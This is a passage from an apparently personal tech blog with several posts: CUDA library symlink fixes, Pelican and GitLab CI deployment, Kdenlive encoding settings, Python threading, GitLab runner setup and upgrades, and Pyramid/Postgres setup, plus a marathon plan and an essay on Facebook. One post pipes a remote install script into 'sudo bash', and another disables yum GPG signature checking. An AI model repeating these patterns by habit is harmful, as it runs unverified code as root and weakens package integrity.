You will be greeted with errors related to missing libraries. These errors, however, are fairly straightforward to fix -- some of the library files are in place that tensorflow package doesn't expect. This can be mitigated by creating several symlinks, as described in the next section.

Library troubleshooting

The first error running classify_image.py will throw the following:

Could not dlopen library 'libcudart.so.10.0';
dlerror: libcudart.so.10.0:
cannot open shared object file:
No such file or directory
libcublas.so.10.0
libcufft.so.10.0
libcurand.so.10.0
libcusolver.so.10.0
libcusparse.so.10.0

This file is provided by libcudart10.1. To find which package provides this file I use apt-file utility that lets you to search for a particular file among all available packages.

Attempting to install the package it would reveal that it is already present.

# apt install libcudart10.1
Reading package lists... Done
Building dependency tree
Reading state information... Done
libcdart10.1 is already the newest version (10.1.105-2).
libcudart10.1 set to manually installed.

The only other way to fix it is to create a symlink from the version 10.1 to the version required by tensorflow - 10.0.

If you try to re-run the classifier, you will encounter the same error caused by a different library requirement. The snippet below should fix all errors like this.

# cd /usr/lib/x86_64-linux-gnu
# ln -s libcudart.so.10.1 libcudart.so.10.0
# ln -s libcublas.so libcublas.so.10.0
# ln -s libcufft.so libcufft.so.10.0
# ln -s libcurand.so libcurand.so.10.0
# ln -s libcusolver.so libcusolver.so.10.0
# ln -s libcusparse.so libcusparse.so.10.0

Running classify_image.py again will now run successfully and produce desired result.

giant panda, panda, panda bear, coon bear, Ailuropoda melanoleuca (score = 0.89107)
indri, indris, Indri indri, Indri brevicaudatus (score = 0.00779)
lesser panda, red panda, panda, bear cat, cat bear, Ailurus fulgens (score = 0.00296)
custard apple (score = 0.00147)
earthstar (score = 0.00117)

Presentation

Here is the video presentation of the material.

Automatic deployment of pelican blog with ansible and gitlab

2020-01-02T00:00:00-05:00

Intro

I want to be able to edit my blog post from gitlab interface and then have changes automatically deployed to my blog. For that I will setup a gitlab runner on my existing web server and create a CI job to execute on that runner.

I will use 'website' tag to mach a runner to the ci configuration.

Ansible dependencies

I've been using riemers.gitlab-runner playbook for installing gitlab runner, and the latest version 1.5.3 works quite well.

I also use avanov.pyenv playbook to install python versions on a target machine, python development dependencies should be installed on the target machine.

My requirements.yml file looks like the following

- src: avanov.pyenv
- src: riemers.gitlab-runner
  version: v1.5.3

Installing ansible requirements:

ansible-galaxy install -r requirements.yml

Installing gitlab-runner

Use the following settings in gitlab-runner role, webserver host is defined in hosts file with tag 'website' identifying the runner that has capabilities to run pelican deployment jobs (this will come in handy in CI definition).

- hosts: webserver
  roles:
    - role: riemers.gitlab-runner
      gitlab_runner_coordinator_url: https://gitlab.server
      gitlab_runner_registration_token: --secret--
      gitlab_runner_package_name: gitlab-runner
      gitlab_runner_concurrent: 1
      gitlab_runner_runners:
        - name: webserver
          concurrent_specific: 1
          tags: [website]
          run_untagged: false
          locked: true
      become: true

Then set up required python version along with a virtualenv for the CI job. In this case virtualenv is called 'pelican'.

- hosts: webserver
   roles:
   - role: avanov.pyenv
    pyenv_path: "/home/gitlab-runner/pyenv"
    pyenv_owner: "gitlab-runner"
    pyenv_update_git_install: no
    pyenv_enable_autocompletion: no
    pyenv_python_versions:
      - "3.6.5"
    pyenv_virtualenvs:
      - venv_name: "pelican"
        py_version: "3.6.5"

To set permissions on a target folder to be owned by gitlab-runner. A file task for that can be defined as part of a role.

- name: ownership for static site dir is set
  file:
    path: /srv/flamy_ca
    state: directory
    recurse: yes
    owner: gitlab-runner
    group: gitlab-runner

Defining CI script

I added the following to my .gitlab-ci.yml at the root of the project folder. It is basically development deployment, with the addition of the first two commands activating virtual environment, and installing all pelican dependencies.

Instead of 'make html' to generate static site, use 'make publish' which imports production settings from publishconf.py instead of pelicanconf.py.

stages:
  - deploy
prod deploy:
  stage: deploy
  script:
    - source /home/gitlab-runner/pyenv/.pyenvrc
    - pyenv activate pelican
    - pip install -r requirements.txt
    - make clean
    - make publish
    - rsync --archive --delete --progress output/* /srv/flamy_ca
  tags:
    - website
  only:
    - master

This script only runs on master branch and only in a runner that has 'website' tag defined.

Pitfalls

There is an issue with debian system where you might get 'No Such file or directory' when running a running the deploy. It appears there is a bug in .bash_logout file.

Deleting the file solves the issue, for more details see this stackoverflow question.

Moving pelican blog to own server

2020-01-01T00:00:00-05:00

Rationale

For the longest time my website consisted only of a contact page -- it was a pyramid process that served only a single template page, with a very few variables on it. Talk about overkill.

Given that, when I created my blog with Pelican static site generator I just threw it up on github.io and kind of forgot about, except for the times when I felt that I had something to say.

I thought I was going to expand my website at some point, but I never did, in fact running one-off web application took surprising amount of effort: debian python system version would get updated, pyramid app will get security patches, and the virtualenv that runs from @reboot cronjob would inevitably break.

I didn't want to keep maintaining pyramid stack just for a single page, and expending it into something bigger would mean coding styling from scratch, instead using an existing theme for an existing static site generator would be way simpler.

When my interest in videography became serious where that I actually end up getting a few referrals, I needed a page to to show my work. I would also need a place to group any of the articles or instructional videos I have in mind.

About a month ago I removed google analytics from my blog, but I'm still a bit curious how people are visiting my site, and when I host content on my own server I have logs which I can analyze without also giving google all the information.

This ended up being one of my holiday projects.

Styling

I wanted to switch from standard layout by Smart Magazine to something that displays a bit more content. I looked through a collection of pelican themes and settled on a Brutalist pelican theme that follows Brutalist Web Design philosophy.

I made a couple of minor tweaks to the theme: article description text has more contrast, content element has smaller padding that more content is displayed horizontally, tables have visible cell borders and MASTODON is available as an option in social media links section. See my fork on github.

Configuration changes

Pelican has ability to have static pages and articles (blog posts).

Before the move I used pelican only for blogging, and adding back article in the exact way I wanted was the most involved part. What I wanted to have is a number of articles linked from the front page, and all the blog articles live under url /blog/.

In this stack overflow answer the author of pelican project describes how to implement what I wanted. However, I didn't have patience to resolve the issue in this way -- I kept getting template rendering failure with no clear error message, so I 'well, actually' my own answer that has fewer drastic changes, but may need more maintenance in the long run, as in my case article pages only show up in navigation when they are added to MENUITEMS list.

Here is my pelicanconf.py

#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals

AUTHOR = 'Alex Volkov'
SITENAME = 'Alex Volkov | A personal electronic web page'
FIRST_NAME = 'Alex'
SITEURL = 'https://flamy.ca'

PATH = 'content'

TIMEZONE = 'America/Toronto'
DEFAULT_LANG = 'en'

# Feed generation is usually not desired when developing
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None
AUTHOR_FEED_ATOM = 'feeds/{slug}.atom.xml'
AUTHOR_FEED_RSS = 'feeds/{slug}.rss.xml'


DEFAULT_PAGINATION = 10

# Uncomment following line if you want document-relative URLs when developing
# RELATIVE_URLS = True

PLUGINS = ['pelican_youtube']
STATIC_PATHS = ['images']
ARTICLE_URL = "blog/{date:%Y}-{date:%m}-{date:%d}-{slug}.html"
ARTICLE_SAVE_AS = "blog/{date:%Y}-{date:%m}-{date:%d}-{slug}.html"
INDEX_SAVE_AS = "blog/index.html"

# Theming

THEME = 'themes/brutalist'
# used for OG tags and Twitter Card data on index page

# used for OG tags and Twitter Card data of index page
# path to favicon
# FAVICON = 'pelly.png'
# path to logo for nav menu (optional)
# LOGO = 'pelly.png'
# first name for nav menu if logo isn't provided

ATTRIBUTION = False
## Add a link to the tags page to the menu
## Other links can be added following the same tuple pattern
DISPLAY_PAGES_ON_MENU = False
DISPLAY_CATEGORIES_ON_MENU = False

MENUITEMS = [
    ('home', '/'),
    ('blog', '/blog'),
    ('presentations', '/pages/presentations'),
    ('videography', '/pages/videography'),
    ('tags', '/tags'),
]
GITHUB = 'https://github.com/avolkov'
MASTODON = 'https://mastodon.xyz/@avolkov'

Nginx config

I had to tweak nginx configuration that instead of connecting to a socket, the web server just displays static content.

server {

        listen 0.0.0.0:443;
        ssl on;
        ssl_certificate /etc/letsencrypt/live/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/privkey.pem;

        server_name  flamy.ca;
        access_log  /var/log/nginx/flamy_ca.access.log;

        location / {
                root   /srv/flamy_ca/;
                try_files $uri $uri/ $uri.html =404;
                index  index.html index.htm;
        }

}

Updating old links

I didn't want to remove my existing pages from github.io, as they are getting referrals from the search engines. Instead I went through the old HTML blog entries, and manually updated each page to contain a crawler-friendly redirect url.

Here's the template I used to create the redirects

<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="refresh" content="0; URL=https://flamy.ca/blog/NEW-URL" />
    <link rel="canonical" href="https://flamy.ca/blog/NEW-URL">
</head>
<body id="index" class="home">
</body>
</html>

Deployment

My previous setup used internal gitlab repo for drafts and a github.com repo that points to github.io. That setup was somewhat confusing but not the worst, as I've seen configs that use the only github.io-based repository with a deploy script that uses two branches: one for storing source text, and the other for generated content.

Right now I use single repository to store content and a command that syncs the contents of output/ directory to remote server.

The following command generates content and start the serve in development mode, for when I'm working on an article.

$ make clean && make html && make serve

Once an article is finished, copy generated content to remote directory

$ rsync --archive --del --progress output/* flamy.ca:/srv/flamy_ca/

I'm planning to automate this with gitlab runner, so the steps of generating content and deployment are done every time commit is pushed to master branch.

My Training Plan for 2020 Marathon

2020-01-01T00:00:00-05:00

Published on January 1, 2020 and updated on January 27,2020

Intro

I got into running to loose weight sometime around 2010-2011 and I kept this habit since. I've been running for a decade I've managed to run 4 marathons:

2014-05 Scotia Toronto
2016-05 Scotia Toronto
2017-05 Scotia Toronto
2017-08 Reykjavik Marathon

I also been running Around the bay Race in Hamilton, Ontario from 2013, only skipping a single event in 2018 because I got sick just in the time where I needed to catch up on my training.

Since running my last marathon in August 2017 I promptly gained 10 kg, which I have kept since, which makes running a full marathon really difficult.

New Year's resolution

Before the holidays I thought of not doing new year's resolution, but since then I had a time to think, and a few doable things, such as many people from my running group are going to do ATB and then a marathon in may, I decided that organizing my time around these two events would not be particularly difficult.

For the year of 2020 I'll do my Around the Bay race and then I will use it as a springboard to run Mississauga marathon a month later.

One of my friends from the running group have mentioned that he just going to do a training schedule in google calendar, and I thought to myself that I should do that too -- years before I just ran with other people who had made their running calendar, but I never made my own.

Running calendar

This is the calendar I made for my schedule, based on Marathon training schedule -- Metric version I have 18 weeks until full marathon (Sunday, May 3rd) and 12 weeks until Around the Bay race (Sunday, March 29).

I'm planning to run 3 times a week, and it is easier for me to run on Wednesdays, Fridays and Saturdays. I will run on mornings Fridays to work, so I will not be able to vary distance for that exercise. For Wednesdays I set run distance to 10Km, but I may updated it and veary it between 8-13Km.

Here's my marathon training plan for Jan 1, 2020 - May 3, 2020.

My Mississauga 2020 marathon training plan.
Week #	Date	Wed	Fri	Sat	Total
1	Jan 1	10	11	14	35
2	Jan 6	10	11	17	38
3	Jan 13	10	11	12	33
4	Jan 20	10	11	19	40
5	Jan 27	10	11	21	42
6	Feb 3	10	11	15	46
7	Feb 10	10	11	22	43
8	Feb 17	10	11	26	47
9	Feb 24	10	11	29	50
10	Mar 2	10	11	16	37
11	Mar 9	10	11	32	53
12	Mar 16	10	11	22	43
13 ATB	Mar 23	10	11	30	51
14	Mar 30	10	11	13	34
15	Apr 6	10	11	37	58
16	Apr 13	10	11	19	40
17	Apr 20	10	11	22	43
18	Apr 27	10	11	16	37

Kdenlive nvenc video settings for Youtube

2019-10-14T00:00:00-04:00

After numerous tryings in to follow codec settings for youtube [1] in order to processing time after the video was uploaded, I've come up with the following Kdenlive settings for 1080p video using Nvidia hardware.

f=mp4 vcodec=nvenc_h264 acodec=aac ab=384k g=15 profile:v=high global_quality=21 -coder 1 vq=21 -r 29.97 preset=slow bf=2 movflags=faststart pix_fmt=yuv420p

The thing these settings don't have is bitrate limit, however in the videos I've encoded, I didn't notice exceeding bitrate it always seem to be under 15Mbps.

Here's my rationale for each of these encoding options.

f=mp4 use mp4 container
vcodec=nvenc_h264 utilize nvidia hardware acceleration
acodec=aac ab=384k use AAC audio codec with bitrate 384k
global_quality=21 -coder 1 vq=21 preset=slow following some of the recommendations from this stackoverflow answer on intricacies of nvidia encoder [2]
-r 29.97 use 29.97 FPS frame rate. This is the framerate I shoot the video with and this is the framerate I use to publish video. This will avoid recording light flickering effect in North America power grid.
bf=2 2 consecutive B-frames (youtube recommendation)
movflags=faststart youtube recoomendation (mp4 container), see additional discussion on superuser.com [3]
pix_fmt=yuv420p pixel format/color encoding to use (youtube recommendation)

References

[1]	Recommended upload encoding settings

[2]	Best settings for FFMpeg with NVENC

[3]	Any downsides to always using the -movflags faststart parameter?

Speeding up generation of Kdenlive proxies with nvenc

2019-10-14T00:00:00-04:00

Background

I've been using kdenlive video editor in the past year or so, and I like it a lot. But sometimes when I edit lots of videos it gets frustrating when the computer needs to stop and load another clip from storage device during preview. It takes a while even on an SSD drive.

Proxies are just low-res re-encodings of the same video, that lets kdenlive load smaller clips, which takes significantly less time and makes the editor more responsive. The proxy clips need to be encoded in the first place, when the videos are originally loaded into the project.

This is where nvenc comes in. NVENC uses nvidia graphics card to greatly speed up video encoding at the price of running proprietary libraries that aren't compiled into a default package.

This guide assumes you are running Debian with nvidia libraries installed and using ffmpeg from deb-multimedia repository.

I did a talk on the basics of setting up nvidia libraries and ffmpeg codec for debian here -- GPU computing in Debian with Alex Volkov I'm using GeForce GTX1060 6GB on running debian testing (bullseye).

For quick video scaling you need to have CUDA Scale Filter however, it's not shipped by default with ffmpeg not even in deb-multimedia repository because it relies on libnppc10 <https://packages.debian.org/bullseye/libnppc10> which is in non-free, and having a dependency on a non-free repository is against the packaging policy of deb-multimedia. So this has to be compiled manually.

Manually compile FFMPEG to add scale_npp support

Install libnppc10 package that provides scale_npp filter.

# apt install libnppc10

Install all build dependencies of ffmpeg

# apt-get build-dep ffmpeg

Find a folder on your computer where the build take place, the whole thing takes about 2.8GB of space. Download source code with the following command.

$ apt-get source ffmpeg

Once ffmpeg source has been downloaded, add the following configuration parameters in debian/rules under CONFIG_ALL variable

CONFIG_ALL = \
--enable-libnpp \
--enable-cuda \

Compile the package. This is going to take a while.

$ dpkg-buildpackage

Now if you go one directory level up, you should see the following packages created at the end of compilation process.

$ ls | grep .deb$
ffmpeg_4.2.1-dmo3_amd64.deb
ffmpeg-dbgsym_4.2.1-dmo3_amd64.deb
ffmpeg-doc_4.2.1-dmo3_all.deb
libavcodec58_4.2.1-dmo3_amd64.deb
libavcodec58-dbgsym_4.2.1-dmo3_amd64.deb
libavcodec-dev_4.2.1-dmo3_amd64.deb
libavdevice58_4.2.1-dmo3_amd64.deb
libavdevice58-dbgsym_4.2.1-dmo3_amd64.deb
libavdevice-dev_4.2.1-dmo3_amd64.deb
libavfilter7_4.2.1-dmo3_amd64.deb
libavfilter7-dbgsym_4.2.1-dmo3_amd64.deb
libavfilter-dev_4.2.1-dmo3_amd64.deb
libavformat58_4.2.1-dmo3_amd64.deb
libavformat58-dbgsym_4.2.1-dmo3_amd64.deb
libavformat-dev_4.2.1-dmo3_amd64.deb
libavresample4_4.2.1-dmo3_amd64.deb
libavresample4-dbgsym_4.2.1-dmo3_amd64.deb
libavresample-dev_4.2.1-dmo3_amd64.deb
libavutil56_4.2.1-dmo3_amd64.deb
libavutil56-dbgsym_4.2.1-dmo3_amd64.deb
libavutil-dev_4.2.1-dmo3_amd64.deb
libpostproc55_4.2.1-dmo3_amd64.deb
libpostproc55-dbgsym_4.2.1-dmo3_amd64.deb
libpostproc-dev_4.2.1-dmo3_amd64.deb
libswresample3_4.2.1-dmo3_amd64.deb
libswresample3-dbgsym_4.2.1-dmo3_amd64.deb
libswresample-dev_4.2.1-dmo3_amd64.deb
libswscale5_4.2.1-dmo3_amd64.deb
libswscale5-dbgsym_4.2.1-dmo3_amd64.deb
libswscale-dev_4.2.1-dmo3_amd64.deb

Install the packages using the following command

# dpkg -i *.deb

Verify that scale_npp filter is available with the following command

$ ffmpeg -hide_banner -filters | grep scale_npp
... scale_npp         V->V       NVIDIA Performance Primitives video scaling and format conversion

Make kdenlive to use scale_npp proxies

Once scale_npp filter is available, let kdenlive use it. I tested this on Kdenlive 19.08.1.

Go to Settings -> Configure Kdenlive -> Proxy Clips

Click settings next to an encoding profile and then add a new profile.

I use the following proxy, specifically for the video output of my Panasonic GH4 in MOV mode. I find if I try to use other codec than aac, I'd get 'Not supported errors'

Profile Name: x264-nvenc-gh4-aac-h264_cuvid

Parameters: -hwaccel cuvid -c:v h264_cuvid -i -vf scale_npp=720:-2 -vcodec h264_nvenc -g 1 -bf 0 -vb 0 -preset fast -acodec aac

File Exension: mov

Then back in 'Configure Kdenlive' window, go to 'Environment' section and in 'Proxy Clips' set concurrent threads to '1'. My video card supports only two streams and by default two proxy clips are processed at once, if I have more streams than that, nvcodec will raise out of memory error.

Testing

When selecting proxy clip in the clip preview. During clip encoding Video Engine Utilization in nvidia-settings should be between 60%-100%

Fear Of Missing Out as a business model for Facebook

2018-11-22T16:50:00-05:00

I have written this post back in September, but didn't get arount to posting it now.

I quit twitter back in September, when I finally I got convinced that twitter managed to find business model where they convert human misery into money.

I'm a member of the board of a Linux users group in Toronto and during the meeting in September I raised a question about having presence on such user-hostile social media platforms but I was given a good counter-argument that it is how people find out about our events and mailing list. So I decided to give it another changes and post a few things on often-neglected facebook page.

I'm an administrator of our brand account page and facebook has been nagging me about 'writing a post' every week or so.

When I don't click on those messages they send me emails.

I decided to try and put some effort in having presence. Instead of the usual posting links with minimal description, I started writing a post about our upcoming event. facebook suggested for the post to be turned into a calendar event and I followed the suggestion.

My experience doing this wasn't all that stellar -- Facebook was very helpful with putting 'Boost' button next to 'Post'; if you really want anyone to see this even at all, you will need to boost your event.

When creating an event, it's plainly laid out that whatever you have to say will not show up in users timeline unless users are specifically looking for it.

facebook also likes to show me how many people were 'reached', which is a euphemism for the number of people who were actually 'shown' the event, and that number was less than 10% of the people who subscribed. Of course when I post links to our videos the number is around 30% -- so the policy there is to let the users see the content, but if a page promotes any kind of thing where some users might participate, the business has to pay for the people to show up.

After I created the event the marketing algorithm kicked in, and the person who wrote the algorithm did their best to sent another customer through a funnel, so I kept getting emails with a simple message -- "Let up to 15000 people see your event for only $20".

This was an excuse for it to send me email every day leading up to event, and this is how facebook feeds on your insecurity, every day it will email you saying -- "Are you sure people show up? Pay us $20 and reach up to 15000 people." The message crafted to be as inoffensive as it is persuasive.

Since facebook didn't get any satisfaction from me via email, they added the same notification with the same message whenever I logged in with my personal account.

Event notification haven't had any meaning for a very long time -- and if I wanted to keep them useful I would have to constantly update my privacy settings, or I would be notified about my friend's brother's father's uncle's dog's walkies. This was done to increase 'engagement' to make us feel like something important is happening and everyone would keep checking facebook, now the same technique is used to extract money from people.

As the event approached facebook kept hammering me with messages whenever I logged in.

I understand what is going on behind these constant messaging and I would delete those messages, but this got me thinking about how this affects others, like a the person who doesn't know these details and when these messages are effective. The messages crafted to people feel inadequate, isolated and compel in strongest terms to give up the money to have that small bit of social connection and hope that everything is going to be fine and things are going to work out.

Based on these facts I've become convinced that by just doing nothing and staying on those platforms I collaborate with these awful enterprises, I know what is going on. If I do nothing, I will remain as the leverage, for the likes of facebook and twitter, to keep people on their services; where they would extract profits by tormenting the people who aren't aware of what is going on.

In the short term, changing brand account to a community would prevent me getting bombarded by constant facebook nagging, but in the long term, promoting alternative ways of interacting with people, like adding pinned pages with contact information when no corporation stands as a middleman is a way to go. This may not give immediate result but at least when someone is interested in what I have to say, they would be aware that one of the things I have to say -- don't use facebook.

Useful alternatives for me seems to be mastodon -- as an alternative to twitter; moderated mailing lists with Code of Conduct -- for general discussion.

Simple threading in Python 3

2018-08-13T00:00:00-04:00

I've been working in Python 3 on an an embarrassingly parallel task of parsing and importing data into Postgres. Once I've done single-threaded implementation I looked around for parallelizing the program and after a few tries I managed to get everything running in parallel.

This is a quick note on how to get a thread pool working in Python 3.6

from concurrent.futures import ThreadPoolExecutor

def data_source():
    """Fetch data to be processed in parallel"""
    # Implement fetching data
    yield item

def process_data(input_value):
    """Process data without modifying input"""
    # Implement saving data to postgres


MAX_THREADS = 8
pool = ThreadPoolExecutor(MAX_THREADS)

for value in data_source():
    pool.submit(process_data, value)

In the code block above, data_source function is an iterator that generates one value at a time. pool.submit calls process_data with value as a parameter of process_data in parallel until thread pool limited in size by MAX_THREADS is exhausted, then the program waits for a thread to become available and fetches the next value, until data_sources generator is exhausted.

In this example pool.submit passes single parameter value to process_data, but pool.submit can pass any number of parameters required for the callee function i.e.

pool_submit(callee_func, callee_param_1, callee_param_n, ... callee_param_n)

I really like this threading implementation because it's really simple, there's no need to write any code to manage threading pool, single- and multi- threaded implementation can live side-by-site if there's ever a need to debug any logic in process_data function.

Still this threading library implemented in python, whic is not true threading and multi-threaded code is a subject of Global Interpreter Lock so the CPU-bound tasks will not benefit from this.

ThreadPoolExecutor documentation -- https://docs.python.org/3/library/concurrent.futures.html

Quick gitlab runner setup

2018-05-01T00:00:00-04:00

Gitlab runner is a continuous integration tool that I've found it to be a lot easier than Jenkins to wrap my head around when it comes to deploying source code to demo machines.

In this scenario gitlab runner it pulls per-project source code to a runner machine then executes any of the commands specified in .gitlab-ci.yml from source code root directory.

Here's a sample configuration of updating source code on buildout-based Plone 5 project:

stages:
  - deploy
001 stop plone server:
  stage: deploy
  script:
    - ./bin/supervisorctl shutdown
  cache:
    paths:
      - .installed.cfg
      - bin/*
      - develop-eggs/*
      - downloads/*
      - eggs/*
      - parts/*
      - var/*
002 rebuild project:
  stage: deploy
  script:
    - ./bin/buildout -v -c buildout_prod.cfg
    - ./bin/supervisord
  cache:
    paths:
      - .installed.cfg
      - bin/*
      - develop-eggs/*
      - downloads/*
      - eggs/*
      - parts/*
      - var/*

I've been repeating a task of installing a runner for a particular projects -- setting up a gitlab runner, and I've found it to be spread over at least 3 documents:

To get runner installed and registered, the following steps should be taken:

Add gitlab-runner repo

CentOS 7

# curl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh | sudo bash

Debian

# curl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh | sudo bash

Install gitlab-runner package

CentOS 7

# yum install gitlab-runner

Debian

# apt-get install gitlab-runner

Remove default gitlab-runner configuration (as root) and run it as a selected user. This step is not required if you're using default configuration, but in my case I have already setup environment for user 'alex' and it is a lot easier to run jobs there.

# gitlab-runner uninstall
# gitlab-runner install --working-directory=/home/alex --user=alex

# gitlab-runner register

For the last step the registration information is found in <gitlab server>/admin/runners

This document provides instructions on how to lock shared runners to specific projects -- https://docs.gitlab.com/ee/ci/runners/

Upgrading from old version of Gitlab CE

2018-02-21T00:00:00-05:00

I've came across an old instance of Gitlab running on CentOS 6.

The old instance version is 8.10.5 installed using omnibus package. The omnibus package contains Postgres database, which needs to be updated from Postgres 9.2.x used in Gitlab 8.10 release to Postgres 9.6.x used in Gitlab 10.4.4.

The documentation is not entirely complete, as I be not many people are running Gitlab instance from 2015 that hasn't been updated. There are few mentions of gitlab-ctl pg-upgrade command but the command is not available in Gitlab 8.10.5, trying to run that will provoke gitlab-ctl to give the following response -- "i don't know that command"

What I eventually figured out, and what needs to be done is to update to version 9.5.10 first -- that would update included postgres to 9.6.x

# yum install gitlab-ce-9.5.10-ce.0.el6.x86_64.rpm

Then update gitlab to the latest version.

# yum install gitlab-ce

Additional notes

If you need to test backups for an old version of Gitlab, you can download and install that version of the package from here -- https://packages.gitlab.com/app/gitlab/gitlab-ce/search?filter=rpms&q=gitlab-ce-8.10&dist=

The package description for the specific package I'm using is here -- https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/6/gitlab-ce-8.10.5-ce.0.el6.x86_64.rpm

The page also contains installation instructions. Once download and install is finished, run reconfigure script.

# gitlab-ctl reconfigure

The script will create the location /var/opt/gitlab/backups/ into which Gitlab backup files should be copied

Restore gitlab from backup using the following command

# gitlab-rake gitlab:backup:restore

Then reboot the system. This should get you to the point where it is possible to test Gitlab upgrade process.

GPG error

Older version of Gitlab ship with unsigned packages and yum install command would refuse to run returning this error message -- "Package is not signed".

A workaround is to set gpgcheck=0 in /etc/yum.repos.d/gitlab_gitlab-ce.repo

Installing python packages in development mode

2017-01-02T00:00:00-05:00

When working on a python project with several dependencies, sometimes I want to see what's going on in one of the required packages. I don't use IDEs so the preferred method of debugging code inside of package dependencies is to grep for an entry point to that package inside of virtualenv, open the source file, add a debug point and re-run test suite or a script until the code hits the debug point.

The main issue with this approach is when debug console gets activated, it doesn't print out any source code surrounding the debug point, I have to constantly switch between source editor and console hoping that the line printed out in the console matches file lines open in the editor.

A better way is to clone the source package and then install it in the current virtual environment with regular install command.

(myproj)$ python setup.py develop

This solves the immediate problem of debugger not printing line numbers, instead of poking inside of files under virtualenv it's possible to open the files from cloned location. The drawback of this approach is that it still involves a few steps -- I need to figure out where the source package is located, clone it, then run the command.

(myproj)$ pip install -e .

I've been using command above as an alias for python setup.py develop for a while and assumed it's magical properties for that purpose, however these days pip automates a lot more. According to the man page of version 9.0.1, any path/url can be passed to the command.

-e,--editable <path/url>
Install a project in editable mode (i.e. setuptools "develop mode") from a local project path or a VCS url.

As well as installing any packages in development mode from local repositories, it's possible to install any remote packages from VCS, since pretty much any project on pypi has link to VCS this becomes a two step process:

Lookup package name on pypi.python.org, and copy link to VCS
run pip install -e <copied_link>

Resources

Debian man page for PIP -- https://manpages.debian.org/cgi-bin/man.cgi?query=pip&apropos=0&sektion=0&manpath=Debian+8+jessie&format=html&locale=en

Pip Reference Guide | Pip Install | VCS Support section -- https://pip.pypa.io/en/stable/reference/pip_install/#vcs-support

Automating entry function definition lookup with Sublime Text & Anaconda -- https://avolkov.github.io/linting-and-declaration-lookup-for-python-with-sublime-text-3.html

Pyramid web app setup with with Postgres, SQLAlchemy and Alembic.

2017-01-01T00:00:00-05:00

This is how I set up a sample web application in development mode using Pyramid 1.7.3, Python 3.x and Postgres 9.x using SQLAlchemy to manage database abstraction and Alembic to manage migrations.

1. Set up pyramid environment

Create Python 3 virtual environment then install cookiecutter -- a command line utility for creating and managing project templates.

$ mkvirtualenv --python `which python3` pyramid-test
$ pip install cookiecutter

2. Create pyramid project w SQLAlchemy using cookiecutter

I'm using the official cookiecutter template from Pylons for Pyramid project with SQLAlchemy ORM and SQLite. Later in the setup, the project settings will be modified for SQLAlchemy to work with Postgres.

When presented 'project_name[Pyramid Scaffold]' question in cookicutter setup dialog, specify pyramid_test as the name of the project, or the default project name -- 'Pyramid Scaffold' will be used.

(pyramid-test)$ cookiecutter https://github.com/Pylons/pyramid-cookiecutter-alchemy
project_name [Pyramid Scaffold]: pyramid_test
repo_name [scaffold]:

===============================================================================
Documentation: http://docs.pylonsproject.org/projects/pyramid/en/latest/
Tutorials:     http://docs.pylonsproject.org/projects/pyramid_tutorials/en/latest/
Twitter:       https://twitter.com/trypyramid
Mailing List:  https://groups.google.com/forum/#!forum/pylons-discuss
Welcome to Pyramid.  Sorry for the convenience.
==========================================================================
Change directory into your newly created project.
cd scaffold
Create a Python virtual environment.
python3 -m venv env

Upgrade packaging tools.
env/bin/pip install --upgrade pip setuptools
Install the project in editable mode with its testing requirements.
env/bin/pip install -e ".[testing]"
Configure the database:
env/bin/initialize_scaffold_db development.ini
Run your project's tests.
env/bin/pytest
Run your project.
env/bin/pserve development.ini

4. Install all project dependencies

Install psycopg2 and alembic python packages, by editing setup.py and adding package dependency to requires list.

requires = [
    ...,
    'psycopg2',
    'alembic',
]

psycopg2 -- Postgres database driver that lets SQLAlchemy connect to postgres database
alembic -- a database migration tool for SQLAlchemy.

The following command install all dependencies specified in 'requirements' section in setup.py all requirements for setting up pyramid framework and related dependencies are specified there.

(pyramid-test)$ pip install -e .

To verify that the packages were install run the following command that lists installed python packages and make sure psycopg2 and alembic are mentioned

(pyramid-test)$ pip freeze

3. Setup postgres db

This step assumes you already installed Postgres 9.x and able to log in as 'postgres' admin user. This setup has been used on Debian systems, but with minor differences in configuration file locations should apply to any Linux distribution.

Get access to postgres admin shell.

# su postgres
$ psql
postgres=#

Create a user and a database for this project. Here I'm using username 'alex', change username according to your local system username -- this will come in handy when setting up peer authentication.

postgres=# CREATE USER alex WITH PASSWORD 'secret';
postgres=# CREATE DATABASE pyramidtest OWNER alex;

From root console edit /etc/postgresql/9.x/main/pg_hba.conf add the following lines at the bottom of the file -- these are declarations for postgres server to allow peer and password authentication.

local   postgrestest    alex                                    peer
host    postgrestest    alex            127.0.0.1               md5

Restart postgres db.

# service postgresql restart

4. Connect to postgresdb from pyramid project

Edit development.ini, updating sqlalchemy.url to the following

sqlalchemy.url = postgresql:///pyramidtest

This config line lets pyramid project connect to postgres via unix socket using 'peer' authentication -- the database engine will verify that the name of system account that attempts to log in, matches the name of owner account of the database. When 'peer' authentication is used, Postgres doesn't verify the password set with 'CREATE USER..' command.

5. Configure alembic to manage migrations

I use alembic to make sure that the project is able to connect to the database and execute its initial migration. Alembic retrieves SQLAlchemy model definitions from /models/ folder and create appropriate tables in Postgres database.

Add alembic to one of project requirements in setup.py

requires = [
    ...,
    'alembic',
]

Then re-install the dependencies.

(pyramid-test)$ pip install -e .

Initialize alembic for the project. This creates /alembic/ subdirectory and populates it with initial configuration.

(pyramid-test)$ alembic init alembic

In alembic.ini update sqlalchemy.url variable to the same sqlalchemy.url value set in development.ini.

sqlalchemy.url = postgresql:///pyramidtest

Configure alembic to autogenerate migrations

In alembic/env.py import base metadata from project model from /models/meta.py file, and assign it to target_metadata, so alembic knows which models it has to keep track of.

from pyramid_test.models.meta import Base
target_metadata = Base.metadata

Generate migrations.

$ alembic revision --autogenerate -m "Initial Commit"
INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
INFO  [alembic.runtime.migration] Will assume transactional DDL.
INFO  [alembic.autogenerate.compare] Detected added table 'models'
INFO  [alembic.autogenerate.compare] Detected added index 'my_index' on '['name']'
  Generating /home/alex/gitlab/pyramid_test/alembic/versions/2e0b2d81bfbb_initial_commit.py ... done

The migration script is based on database models in /models/mymondel.py, that already has sample model defined by cookiecutter template, see code below.

from sqlalchemy import (
    Column,
    Index,
    Integer,
    Text,
)

from .meta import Base


class MyModel(Base):
    __tablename__ = 'models'
    id = Column(Integer, primary_key=True)
